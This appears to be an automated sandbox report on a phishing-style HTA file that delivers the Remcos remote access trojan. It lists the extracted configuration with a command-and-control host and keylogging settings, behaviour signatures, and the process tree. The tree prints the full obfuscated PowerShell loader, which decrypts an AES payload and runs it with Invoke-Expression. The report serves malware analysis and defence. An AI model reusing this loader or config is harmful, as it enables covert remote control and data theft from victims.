Overview

overview

10

Static

static

1

shipment D...30.hta

windows10-2004-x64

10

shipment D...30.hta

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 09:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    shipment Docs_PO#RFQ10930.hta
  • Size 33KB
  • Sample260623-lfazjsbz6t
  • SHA256 8190e9ab041c72dbe57170ff1ad5c5eddb0f80103a5766280d65b2770966181e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwareremotehostcollectiondiscoveryexecutionremcospersistenceransomwareratspyware

Malware Config

Extracted

Family

  • remcos

Version

  • 7.2.5 Pro

Botnet

  • RemoteHost

C2

  • rem.herbalsupplementss.com:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-K35AD7

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
    collection
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of FindShellTrayWindow 55 IoCs
  • Suspicious use of SendNotifyMessage 44 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\shipment Docs_PO#RFQ10930.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    PID:4860
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try { $sandbagging = [System.Text.Encoding]::UTF8.GetBytes('kgF3VNTHFiHmkXu6'); if ($sandbagging.Length -lt 32) { $sandbagging = $sandbagging + (0..(31 - $sandbagging.Length)) }; $ureterorrhagia = [Convert]::FromBase64String('6FaGVa9OFoUZgFKt0G8WraT0tv9ODhMkt1orumXafESLcDwIr+ZtaWgHhVIdeFH1l0reCCy6kevB5r7ui+TyCNQojymY2B35983Phipo6sjuemjBg1AjW1T+Q3pEB+1tRQrIUyi0fJkL6KN+kYgbgA1lGyW6Ks/eUkJlqS/1XmJy4mA1zYGnW325VejAVO69jdkQ7GFvxwckglthER8aTy24g1NPvgoP5xg+lWlnABZaK5TeZrn2EtqWdFSPnJPjWnwKHuz7QfhM4bArYQIJOIaRP8kRy+5+T4fXnbf8lxJLgbFxzdJAMUNwzd8pEEm9K2ZhXOpRGL7iXOiy5VrAuHVB3bpvUibKJcSRbuPyGEKpIquN3hynd4j85c81VrJ1X1od3nNitYY6qNpxpU2A1gkW6jlJ0XdzDowvp9/5j3InnAXDN4pnKe9I9LCpli/7durTDql8t08LLJ7v+5XVoeqwEAkv7ll6gr7wbYEX6FJVNYEKueWULDV/LxJCGahroLevCgpUf7GfS1ykNsgTd4Nf9EU3irbGXP63wOjHl0paXDddEHbhtH2lrq4TdEPiUYV0nH3TGfQw98D87J5Q+Ucz2K3PNfeTLnxMh9BKp/pOkv/BnLSiav9AosmO8miydCKUeU/VEBYC3/zP9dGYuJyR3TX2sEAl0yB4M/uriq+D2Ei2wk+t6mPgu9KpOBSPSsOYMBL3JJWMtkRLPlc4Op+PiqL9gtw4hqqWEIGkZN3X4xmaIWww1IOlcVfRm6cWcqibHXvATP7IokvC5BC2fVE/8cdHdochYVS/QzDR5TWf6ZmAJ6ZgXrkF/QqTaoKdfHxDllapPFyFJYCZd5CT+8xMLwHFPrhAGT9kWKE5HSXXo4wiDKU8JAGb9bv0iLrh501eio20kLVtKQ1YGtweP0araZQMQd+Rh+W3EzkZp+0FJ+DQYqt9kDaBp5+diVEPIBAT7gQV4SG0q/xHYWk3murk47DtMzW4ng9nr3OTOZu8a5Zb49swkFtK0JGZlFq/ovyqDG4V0txZmy53UfmKvqVClkDhWHevESkoqvnBuwsmGJ+yi5p7wgI0zScwZx8y8N5NSgk+/2qnUXkPrS0EnJLvYoMCNeWo6BRohwCM5PWvsBv5G9lzbPEWHPjzQT6IxWDnNwBM+B89Klo4Gx1ZxUiM/5GmOJ3JcLX7G2b4HgW4FMiaa4iVQpj9yMJx9APHPbRvjP+5rxM673bvi/0vxbD3694N2pukhG5Vkto4diVxUe6vCbv64tAYiO3PmwMyukTB393qMJ0mMX84RnKZoHDQDEXVUBto9Z7eMufWOieJurFbrZFR604WqKn9J+6oSMd1vusHxNayl3q2OqZ2/Q4cb4b4cosusIidxxR1002sUEsBN6aYjT6bxO7ZYBsv56yRqkowAPd65os1f7LDU+JNcb3vKJWNhT7i7P3Wm5ZGfFIL+23SJD9SE8savDjODKsf1GWhIx1xSGrViwaTUQch59dR5vZ7KV6lgO5kuLjhaQQVS9d/MC9rD5h6esOtEwIfdhri/jQ6KSuq+8wJsRkjqoR94/TNoKGn5gaQF8H0DzqfKo95ypiH9hyJSYNINTe4x8NDvnxZ7y2UnlOikiNy4SiFxFxQEkJDVnj02Z1upVUTq55sCX07j1ypA67k0v5QmupSASTUdV+UzS+ECk7KvTEnHMdoEhdNkULZj0VA5+kjP5e/HfguMhLDlZBhvsTzGEcKs9tIrKSYjvMiqUfHS5pw0AsKl3zu9FFF1px71oepCjiu5rw/G3w0G+DTyNcXx794MnpC2MWFokb+6w=='); $polychetes = $ureterorrhagia[0..15]; $Satnami = $ureterorrhagia[16..($ureterorrhagia.Length-1)]; $hydrocortone = [System.Security.Cryptography.Aes]::Create(); $hydrocortone.Key = $sandbagging; $hydrocortone.IV = $polychetes; $diesis = $hydrocortone.CreateDecryptor(); $preef = $diesis.TransformFinalBlock($Satnami, 0, $Satnami.Length); $ciramadol = [System.Text.Encoding]::UTF8.GetString($preef); Invoke-Expression $ciramadol; } catch {}"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\SysWOW64\calc.exe
      "C:\Windows\SysWOW64\calc.exe"
      2⤵
      • Accesses Microsoft Outlook profiles
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • outlook_office_path
      PID:3284
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4936
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:6064
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1044
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5072

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        prep_Activatable Class_Hermes_perf.cache
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_wu1nqbwi.3k4.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wu1nqbwi.3k4.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2976-16-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-7-0x00000131F0520000-0x00000131F0542000-memory.dmp
        Download

        memory/2976-8-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-10-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-11-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-12-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-13-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-14-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-15-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-0-0x00007FFD2A74F000-0x00007FFD2A750000-memory.dmp
        Download

        memory/2976-17-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-18-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-19-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-20-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-21-0x00000131F0B00000-0x00000131F0C22000-memory.dmp
        Download

        memory/2976-22-0x00000131F05C0000-0x00000131F05CA000-memory.dmp
        Download

        memory/2976-1-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/2976-26-0x00007FFD2A5C0000-0x00007FFD2AF64000-memory.dmp
        Download

        memory/3284-222-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-221-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-30-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-28-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-29-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-31-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-32-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-33-0x0000000010000000-0x00000000100F7000-memory.dmp
        Download

        memory/3284-36-0x0000000010000000-0x00000000100F7000-memory.dmp
        Download

        memory/3284-37-0x0000000010000000-0x00000000100F7000-memory.dmp
        Download

        memory/3284-23-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-25-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-27-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-39-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-227-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-226-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-40-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/3284-38-0x0000000000400000-0x000000000048D000-memory.dmp
        Download

        memory/5072-70-0x0000014983E50000-0x0000014983F50000-memory.dmp
        Download

        memory/5072-61-0x00000149801E0000-0x00000149802E0000-memory.dmp
        Download

        memory/5072-107-0x0000014994210000-0x0000014994230000-memory.dmp
        Download

        memory/5072-63-0x00000149801E0000-0x00000149802E0000-memory.dmp
        Download

        memory/5072-69-0x0000014983930000-0x0000014983950000-memory.dmp
        Download

        memory/5072-84-0x0000014983D70000-0x0000014983D90000-memory.dmp
        Download

        memory/5072-62-0x00000149801E0000-0x00000149802E0000-memory.dmp
        Download

        memory/6064-220-0x000000000DCB0000-0x000000000E52B000-memory.dmp
        Download